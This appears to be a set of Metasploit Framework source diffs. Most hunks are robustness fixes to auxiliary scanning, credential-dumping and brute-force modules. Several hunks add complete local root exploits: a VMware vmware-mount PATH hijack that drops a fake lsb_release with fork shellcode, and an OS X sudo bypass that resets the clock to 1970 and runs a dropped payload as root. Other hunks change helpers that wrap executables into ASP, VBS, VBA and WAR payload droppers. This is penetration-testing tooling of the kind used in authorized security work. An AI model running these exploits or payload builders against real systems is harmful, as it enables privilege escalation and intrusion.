hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
# Specify the payload in hex as an extra file..
payload_hex = exe.unpack('H*')[0]
@ -1504,11 +1171,13 @@ End Sub
{
:extra_files =>
[
[ "#{var_hexfile}.txt", payload_hex ]
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
]
})
return self.to_war(jspraw, opts)
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
return self.to_war(template, opts)
end
# Creates a .NET DLL which loads data into memory
@ -2049,10 +1718,12 @@ End Sub
case fmt
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
when 'dll'
output = case arch
@ -2128,14 +1799,16 @@ End Sub
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
when 'vba-exe'
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
when 'war'
arch ||= [ ARCH_X86 ]

View File

@ -198,6 +198,67 @@ module Text
return buff
end
#
# Converts a raw string to a powershell byte array
#
def self.to_powershell(str, name = "buf")
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
code = str.unpack('C*')
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
else
buff << ",0x#{code[byte].to_s(16)}"
end
end
return buff
end
#
# Converts a raw string to a vbscript byte array
#
def self.to_vbscript(str, name = "buf")
return "#{name}" if str.nil? or str.empty?
code = str.unpack('C*')
buff = "#{name}=Chr(#{code[0]})"
1.upto(code.length-1) do |byte|
if(byte % 100 == 0)
buff << "\r\n#{name}=#{name}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
buff << "&Chr(#{code[byte]})"
end
return buff
end
#
# Converts a raw string into a vba buffer
#
def self.to_vbapplication(str, name = "buf")
return "#{name} = Array()" if str.nil? or str.empty?
code = str.unpack('C*')
buff = "#{name} = Array("
maxbytes = 20
1.upto(code.length) do |idx|
buff << code[idx].to_s
buff << "," if idx < code.length - 1
buff << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
end
buff << ")\r\n"
return buff
end
#
# Creates a perl-style comment
#

View File

@ -21,6 +21,10 @@ class Archive
#
# Create a new Entry and add it to the archive.
#
# If fdata is set, the file is populated with that data
# from the calling method. If fdata is nil, then the
# fs is checked for the file.
#
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
if (not fdata)
begin
@ -32,7 +36,10 @@ class Archive
ts = st.mtime
if (st.directory?)
attrs = EFA_ISDIR
fname += '/'
fdata = ''
unless fname[-1,1] == '/'
fname += '/'
end
else
f = File.open(fname, 'rb')
fdata = f.read(f.stat.size)

View File

@ -148,6 +148,11 @@ class Metasploit3 < Msf::Auxiliary
}
}, 25)
if res.nil?
print_error("Did not get a response from server")
return
end
raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0]
print_line("\n" + Rex::Text.decode_base64(raw_data))

View File

@ -67,10 +67,10 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET',
}, 20)
if (res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
flag_found_one = index
print_status("Found right index at [" + index.to_s + "] - exec")
elsif (res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
print_status("Found right index at [" + index.to_s + "] - getRuntime")
flag_found_two = index
else
@ -90,7 +90,8 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET',
}, 20)
if (res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
print_status("Exploited successfully")
else
print_status("Exploit failed.")

View File

@ -99,8 +99,15 @@ class Metasploit4 < Msf::Auxiliary
},25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
if file.nil?
print_error("Connection timed out")
return
end
if ((counter.to_f/queue.length.to_f)*100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
@ -108,6 +115,7 @@ class Metasploit4 < Msf::Auxiliary
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
end
# file can be nil
case file.headers['Content-Type']
when 'text/html'
case file.body

View File

@ -14,7 +14,7 @@ class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'TYPO3 Winstaller default Encryption Keys',
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
'Description' => %q{
This module exploits known default encryption keys found in the TYPO3 Winstaller.
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be

View File

@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'POST',
}, 5)
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
sessionid = res.headers['Set-Cookie'].split(';')[0]

View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'POST',
}, 5)
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
sessionid = res.headers['Set-Cookie'].split(';')[0]

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]),
OptString.new('YEAR', [ false, "Year to look up", ""]),
OptInt.new('YEAR', [ false, "Year to look up"]),
OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]),
OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]),
OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]),
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
loot = ""
uri = "/"
uri << (datastore['YEAR']) if datastore['YEAR'] != ""
uri << (datastore['YEAR']).to_s if datastore['YEAR'].to_s != ""
uri << ("/companies/" + datastore['CW_ID'])
res = send_request_cgi({

View File

@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]),
OptString.new('YEAR', [ false, "Limit results to a specific year", ""]),
OptInt.new('YEAR', [ false, "Limit results to a specific year"]),
OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]),
OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]),
], self.class)
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
datastore['RPORT'] = 80
uri = "/"
uri << (datastore['YEAR'] + "/") if datastore['YEAR'] != ""
uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != ""
uri << "companies.xml"
res = send_request_cgi(

View File

@ -42,6 +42,12 @@ end
def run
connect
res = send_request_cgi({'uri' => '/ip', 'method' => 'GET' })
if res.nil?
print_error("Connection timed out")
return
end
our_addr = res.body.strip
if Rex::Socket.is_ipv4?(our_addr) or Rex::Socket.is_ipv6?(our_addr)
print_good("Source ip to #{rhost} is #{our_addr}")

View File

@ -84,7 +84,12 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{target_url} - Apache Axis - Dumping administrative credentials")
if (res and res.code == 200)
if res.nil?
print_error("#{target_url} - Connection timed out")
return
end
if (res.code == 200)
if res.body.to_s.match(/axisconfig/)
res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)

View File

@ -63,7 +63,12 @@ class Metasploit3 < Msf::Auxiliary
'uri' => uri + payload,
}, 25)
if (res and res.code == 200 and res.body)
if res.nil?
print_error("#{target_url} - Connection timed out")
return
end
if (res.code == 200 and res.body)
if res.body.match(/\<html\>(.*)\<\/html\>/im)
html = $1

View File

@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
'data' => webdav_req + "\r\n\r\n",
}, 20)
if (res.code.to_i == 207)
if (res and res.code.to_i == 207)
print_status("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})")
# Unable to use report_web_vuln as method is PROPFIND and is not part of allowed

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
'uri' => normalize_uri(@uri.path)
})
return [nil, nil] if not (res and res.headers['Set-Cookie'])
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'uri' => normalize_uri("#{@uri.path}index.php"),
'cookie' => sid,
'vars_post' => {
'token' => token,
@ -92,6 +92,11 @@ class Metasploit3 < Msf::Auxiliary
return :abort
end
if res.nil?
print_error("#{@peer} - Connection timed out")
return :abort
end
location = res.headers['Location']
if res and res.headers and (location = res.headers['Location']) and location =~ /admin\//
print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
@ -112,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
@uri = normalize_uri(target_uri.path)
@uri = target_uri.path
@uri.path << "/" if @uri.path[-1, 1] != "/"
@peer = "#{rhost}:#{rport}"

View File

@ -29,8 +29,6 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
#Set to false to prevent account lockouts - it will!
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']),
OptPath.new(
'USERPASS_FILE',
@ -40,7 +38,10 @@ class Metasploit3 < Msf::Auxiliary
File.join(Msf::Config.install_root, "data", "wordlists", "cms400net_default_userpass.txt")
])
], self.class)
end
# "Set to false to prevent account lockouts - it will!"
deregister_options('BLANK_PASSWORDS')
end
def target_url
#Function to display correct protocol and host/vhost info
@ -58,6 +59,10 @@ class Metasploit3 < Msf::Auxiliary
end
end
def gen_blank_passwords(users, credentials)
return credentials
end
def run_host(ip)
begin
res = send_request_cgi(
@ -66,6 +71,11 @@ class Metasploit3 < Msf::Auxiliary
'uri' => normalize_uri(datastore['URI'])
}, 20)
if res.nil?
print_error("Connection timed out")
return
end
#Check for HTTP 200 response.
#Numerous versions and configs make if difficult to further fingerprint.
if (res and res.code == 200)

View File

@ -62,7 +62,12 @@ class Metasploit3 < Msf::Auxiliary
'uri' => "#{uri}#{nullbytetxt}",
}, 25)
version = res.headers['Server'] if res
if res.nil?
print_error("#{target_url} - Connection timed out")
return
end
version = res.headers['Server']
if vuln_versions.include?(version)
print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")

View File

@ -43,11 +43,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def target_url
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
def run_host(ip)
trav_strings = [
'../',
@ -71,6 +66,11 @@ class Metasploit3 < Msf::Auxiliary
'uri' => uri + payload,
}, 25)
if res.nil?
print_error("#{rhost}:#{rport} Connection timed out")
return
end
print_status("#{rhost}:#{rport} Trying URL " + payload )
if (res and res.code == 200 and res.body)
@ -93,6 +93,7 @@ class Metasploit3 < Msf::Auxiliary
print_error("#{rhost}:#{rport} No HTML was returned")
end
else
# if res is nil, we hit this
print_error("#{rhost}:#{rport} Unrecognized #{res.code} response")
end
i += 1;

View File

@ -72,7 +72,10 @@ class Metasploit3 < Msf::Auxiliary
'uri' => "#{uri}#{get_source}",
}, 25)
if res
if res.nil?
print_error("#{target_url} - nginx - Connection timed out")
return
else
version = res.headers['Server']
http_fingerprint({ :response => res })
end

View File

@ -69,6 +69,12 @@ class Metasploit3 < Msf::Auxiliary
cmd_var => cmd
}
})
if res.nil?
print_error("Connection timed out")
return "", "" # Empty username & password
end
creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
return creds.split(":")
end
@ -89,6 +95,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Found Version #{ver}")
session_id,cmd = setup_session()
user,pass = get_creds(session_id,cmd)
return if user.empty? and pass.empty?
print_good("Got creds. Login:#{user} Password:#{pass}")
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")

View File

@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
'data' => datastore['METHOD'] == 'POST' ? query.to_query : datastore['DATA']
}, 20)
if resp.code == 500
if resp and resp.code == 500
print_good("#{ip} - Possible attributes mass assignment in attribute #{param}[...] at #{datastore['PATH']}")
report_web_vuln(
:host => rhost,

View File

@ -86,6 +86,11 @@ class Metasploit3 < Msf::Auxiliary
}
})
if res.nil?
print_error("#{rhost}:#{rport} - Connection timed out")
return :abort
end
check_key = "The user has logged in successfully."
key = JSON.parse(res.body)["statusString"]

View File

@ -52,9 +52,14 @@ class Metasploit3 < Msf::Auxiliary
'uri' => trav+file,
'version' => '1.1',
'method' => 'GET'
}, 25)
}, 25)
if (res and res.code == 200)
if res.nil?
print_error("Connection timed out")
return
end
if res.code == 200
#print_status("Output Of Requested File:\n#{res.body}")
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
report_vuln(

View File

@ -136,12 +136,15 @@ class Metasploit3 < Msf::Auxiliary
'ctype' => 'text/plain'
}, 20)
if res.nil?
print_error("Connection timed out")
return
end
if testmesg.empty? or usecode
if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
if (res.code.to_i == ecode) or (emesg and res.body.index(emesg))
if dm == false
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}")
#blah
end
else
if res.code.to_i == 400 and ecode != 400
@ -174,7 +177,6 @@ class Metasploit3 < Msf::Auxiliary
else
if dm == false
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}")
#blah
end
end
end

View File

@ -111,10 +111,15 @@ class Metasploit3 < Msf::Auxiliary
'data' => post_data,
}, 20)
if res.nil?
print_error("#{target_url} - Connection timed out")
return :abort
end
valid_user = false
if (res and res.code == 200 )
if res.code == 200
if (res.body.to_s =~ /Incorrect password/ )
valid_user = true
@ -150,7 +155,9 @@ class Metasploit3 < Msf::Auxiliary
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return :abort
rescue ::Timeout::Error, ::Errno::EPIPE
return :abort
end
end

View File

@ -45,6 +45,11 @@ class Metasploit3 < Msf::Auxiliary
'uri' => "#{$uri}\/$defaultview?Readviewentries",
}, 25)
if res.nil?
print_error("Connection timed out")
return
end
if (res and res.body.to_s =~ /\<viewentries/)
print_good("http://#{vhost}:#{rport} - Lotus Domino - OK names.nsf accessible without credentials")
cookie = ''
@ -85,6 +90,11 @@ class Metasploit3 < Msf::Auxiliary
'data' => post_data,
}, 20)
if res.nil?
print_error("http://#{vhost}:#{rport} - Connection timed out")
return
end
if (res and res.code == 302 )
if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
cookie = "DomAuthSessId=#{$1}"

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
'version' => '1.1',
}, 5)
if ( res.body =~ /SERVICE_NAME=/ )
if res and res.body =~ /SERVICE_NAME=/
select(nil,nil,nil,2)
sid = res.body.scan(/SERVICE_NAME=([^\)]+)/)
report_note(

View File

@ -242,7 +242,7 @@ class Metasploit3 < Msf::Auxiliary
}
}, -1)
if (res.code == 200)
if res and res.code == 200
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
@ -294,7 +294,7 @@ class Metasploit3 < Msf::Auxiliary
}
}, -1)
if (res.code == 200)
if res and res.code == 200
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq

View File

@ -91,6 +91,11 @@ class Metasploit4 < Msf::Auxiliary
}
}, 15)
if res.nil?
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
if res.code == 200
body = res.body
if body.match(/<property>CentralServices<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on
common networks.
This module must be run as root and will bind to tcp/137 on all interfaces.
This module must be run as root and will bind to udp/137 on all interfaces.
},
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
'License' => MSF_LICENSE,

View File

@ -0,0 +1,105 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit4 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
def initialize(info={})
super( update_info( info, {
'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
'Description' => %q{
VMWare Workstation (up to and including 9.0.2 build-1031769)
and Player have a setuid executable called vmware-mount that
invokes lsb_release in the PATH with popen(3). Since PATH is
user-controlled, and the default system shell on
Debian-derived distributions does not drop privs, we can put
an arbitrary payload in an executable called lsb_release and
have vmware-mount happily execute it as root for us.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Vulnerability discovery and PoC
'egypt' # Metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultOptions' => {
"PrependSetresuid" => true,
"PrependSetresgid" => true,
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2013-1662' ],
[ 'OSVDB', '96588' ],
[ 'BID', '61966'],
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
],
'DisclosureDate' => "Aug 22 2013"
}
))
# Handled by ghetto hardcoding below.
deregister_options("PrependFork")
end
def check
if setuid?("/usr/bin/vmware-mount")
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end
# Ghetto PrependFork action which is apparently only implemented for
# Meterpreter.
# XXX Put this in a mixin somewhere
# if(fork()) exit(0);
# 6A02 push byte +0x2
# 58 pop eax
# CD80 int 0x80 ; fork
# 85C0 test eax,eax
# 7406 jz 0xf
# 31C0 xor eax,eax
# B001 mov al,0x1
# CD80 int 0x80 ; exit
exe = generate_payload_exe(
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
)
write_file("lsb_release", exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
# Delete it here instead of using FileDropper because the original
# session can clean it up
cmd_exec("rm -f lsb_release")
end
def setuid?(remote_file)
!!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
end
end

View File

@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Payload' =>
{
'Space' => 1024,

View File

@ -0,0 +1,238 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'shellwords'
class Metasploit3 < Msf::Exploit::Local
# ManualRanking because it's going to modify system time
# Even when it will try to restore things, user should use
# it at his own risk
Rank = NormalRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
SUDOER_GROUP = "admin"
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
# saved clock config
attr_accessor :time, :date, :networked, :zone, :network_server
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X Sudo Password Bypass',
'Description' => %q{
This module gains a session with root permissions on versions of OS X with
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
and possibly lower versions.
If your session belongs to a user with Administrative Privileges
(the user is in the sudoers file and is in the "admin group"), and the
user has ever run the "sudo" command, it is possible to become the super
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
This module will fail silently if the user is not an admin or if the user has never
run the sudo command.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Todd C. Miller', # Vulnerability discovery
'joev <jvennix[at]rapid7.com>', # Metasploit module
'juan vazquez' # testing/fixing module bugs
],
'References' =>
[
[ 'CVE', '2013-1775' ],
[ 'OSVDB', '90677' ],
[ 'BID', '58203' ],
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
],
[ 'CMD',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 28 2013'
))
register_advanced_options([
OptString.new('TMP_FILE',
[true,'For the native targets, specifies the path that '+
'the executable will be dropped on the client machine.',
'/tmp/.<random>/<random>']
),
], self.class)
end
# ensure target is vulnerable by checking sudo vn and checking
# user is in admin group.
def check
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
sudo_vn = $1
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
# check vn between 1.6.0 through 1.7.10p6
# and 1.8.0 through 1.8.6p6
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
print_error "sudo version #{sudo_vn} not vulnerable."
return Exploit::CheckCode::Safe
end
else
print_error "sudo not detected on the system."
return Exploit::CheckCode::Safe
end
if not user_in_admin_group?
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
Exploit::CheckCode::Safe
end
# one root for you sir
Exploit::CheckCode::Vulnerable
end
def exploit
if not user_in_admin_group?
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")
# drop the payload (unless CMD)
if using_native_target?
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
write_file(drop_path, generate_payload_exe)
register_files_for_cleanup(drop_path)
cmd_exec("chmod +x #{[drop_path].shelljoin}")
print_status("Payload dropped and registered for cleanup")
end
print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end
run_sudo_cmd
end
def cleanup
print_status("Resetting system clock to original values") if @time
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
unless @network_server.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
end
end
print_good("Completed clock reset.") if @time
end
private
def run_sudo_cmd
print_status("Resetting user's time stamp file and setting clock to the epoch")
cmd_exec(
"sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
" -setdate 01:01:1970 -settime 00:00"
)
# Run Test
test = rand_text_alpha(4 + rand(4))
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
print_status("Testing that user has sudoed before...")
output = cmd_exec('echo "" | ' + sudo_cmd_test)
if output =~ /incorrect password attempts\s*$/i
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
elsif output =~ /#{test}/
print_good("Test executed succesfully. Running payload.")
else
print_error("Unknown fail while testing, trying to execute the payload anyway...")
end
# Run Payload
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
elsif using_cmd_target?
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
end
## to prevent the password prompt from destroying session
## backgrounding the sudo payload in order to keep both sessions usable
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
print_status "Running command: "
print_line sudo_cmd
output = cmd_exec(sudo_cmd)
end
# helper methods for accessing datastore
def using_native_target?; target.name =~ /native/i; end
def using_cmd_target?; target.name =~ /cmd/i; end
def drop_path
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
end
# checks that the user is in OSX's admin group, necessary to change sys clock
def user_in_admin_group?
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
end
# helper methods for dealing with sudo's vn num
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
vn_parts = parse_vn(vn)
ranges.any? do |range|
min_parts = parse_vn(range[0])
max_parts = parse_vn(range[1])
vn_parts.all? do |part|
min = min_parts.shift
max = max_parts.shift
(min.nil? or (not part.nil? and part >= min)) and
(part.nil? or (not max.nil? and part <= max))
end
end
end
end

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a remote code execution vulnerability in the pickle
handling of the rendering code in the Graphite Web project between version
0.9.5 and 0.9.10(both included).
0.9.5 and 0.9.10 (both included).
},
'Author' =>
[
@ -77,4 +77,4 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => data
})
end
end
end

View File

@ -2,7 +2,7 @@
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
# http://metasploit.com/
##
require 'msf/core'
@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Remote File Include Generic Code Execution',
'Description' => %q{
'Name' => 'PHP Remote File Include Generic Code Execution',
'Description' => %q{
This module can be used to exploit any generic PHP file include vulnerability,
where the application includes code like the following:
<?php include($_GET['path']); ?>
},
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
'License' => MSF_LICENSE,
#'References' => [ ],
'Privileged' => false,
'Payload' =>
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
'License' => MSF_LICENSE,
#'References' => [ ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Dec 17 2006',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'Platform' => 'php',
